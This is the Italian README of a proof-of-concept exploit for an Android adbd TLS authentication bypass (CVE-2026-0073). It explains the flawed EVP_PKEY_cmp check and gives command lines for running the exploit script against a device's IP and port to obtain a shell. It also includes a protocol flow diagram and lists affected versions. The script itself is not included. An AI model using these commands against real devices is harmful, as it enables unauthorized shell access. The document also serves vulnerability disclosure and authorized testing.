🔥 Panoramica

Un bypass critico dell'autenticazione nel demone ADB di Android (adbd) consente a qualsiasi attaccante sulla rete locale di ottenere una shell completa sul dispositivo di destinazione senza autorizzazione dell'utente.

La vulnerabilità risiede in adbd_tls_verify_cert() all'interno di daemon/auth.cpp, dove EVP_PKEY_cmp() viene usato come valore booleano. Quando la chiave memorizzata è RSA e il certificato client TLS presentato trasporta una chiave non-RSA (EC P-256 o Ed25519), EVP_PKEY_cmp() restituisce -1 (mancata corrispondenza di tipo), che è truthy in C/C++, quindi authorized = true.

// Pattern di codice vulnerabile in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) {  // ← BUG: -1 è truthy!
    authorized = true;
}

⚡ Avvio rapido

Installare le dipendenze

pip install cryptography

Eseguire l'exploit

# Shell interattiva
python adb_tls_auth_bypass.py <IP_DESTINAZIONE> <PORTA>

# Esecuzione di un singolo comando
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# Modalità verbosa (vedi traccia completa del protocollo)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

Forzare un tipo di chiave specifico

python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

Per impostazione predefinita, lo script prova automaticamente EC P-256 → Ed25519 → EC/TLS 1.2 finché uno non riesce.

🎯 Flusso dell'exploit

   Attaccante                          Target (adbd)
      │                                    │
      │──── Connessione TCP ──────────────►│
      │──── CNXN (testo chiaro) ──────────►│
      │◄─── STLS (richiesta upgrade TLS) ─│
      │──── Risposta STLS ────────────────►│
      │                                    │
      │════ Handshake TLS 1.3 ════════════│
      │  (certificato client EC P-256 presentato) │
      │  EVP_PKEY_cmp(EC, RSA) → -1       │
      │  -1 è truthy → authorized=true    │
      │════════════════════════════════════│
      │                                    │
      │◄─── CNXN (info dispositivo) ──────│
      │──── OPEN "shell:" ───────────────►│
      │◄─── OKAY ────────────────────────│
      │◄──► WRTE/OKAY (I/O shell) ───────►│
      │                                    │
    [ACCESSO COMPLETO ALLA SHELL]          │

📋 Prerequisiti

⚠️ Importante: La chiave RSA deve trovarsi in /data/misc/adb/adb_keys, che viene popolata tramite accoppiamento tramite debug USB (accettando la finestra di dialogo "Consentire il debug USB?"). L'accoppiamento tramite debug wireless (adb pair) memorizza le chiavi in una posizione diversa (adb_known_hosts.pb) e NON soddisfa questo requisito.

🛡️ Versioni interessate

• Android 14 (AOSP) — ✅ Confermato vulnerabile
• Android 15 (AOSP) — Probabilmente vulnerabile (build non patchate)
• Le build specifiche del vendor possono variare (Samsung One UI, Pixel, ecc.)

Come verificare il livello di patch

adb shell getprop ro.build.version.security_patch

🧪 Ambiente di test

Testato e confermato funzionante su:

Kernel:   6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Piattaforma: Android 14 (Emulatore Android Studio)

🔧 Miglioramenti rispetto all'originale

Questo fork include diversi miglioramenti:

• ✅ Fallback multi-chiave — Prova automaticamente EC P-256 → Ed25519 → EC/TLS 1.2
• ✅ Supporto Ed25519 — Tipo di chiave alternativo per una compatibilità più ampia
• ✅ Fallback TLS 1.2 — Flusso del certificato client diverso (inviato durante l'handshake vs post-handshake)
• ✅ Certificato potenziato — Estensioni X.509 corrette (BasicConstraints, KeyUsage)
• ✅ Compatibile con Windows — Usa I/O con thread invece di select() per il supporto multipiattaforma
• ✅ Timeout aumentati — Migliore affidabilità su reti più lente
• ✅ Diagnostica verbosa — Traccia dettagliata del protocollo con il flag -v

📁 Struttura del progetto

CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py    # Script exploit principale
└── README.md                 # Questo file

⚠️ Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre la dovuta autorizzazione prima di effettuare test. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software.

📚 Riferimenti

• CVE-2026-0073 — MITRE
• Bollettino sulla sicurezza Android
• Documentazione OpenSSL EVP_PKEY_cmp
• Riferimento al protocollo ADB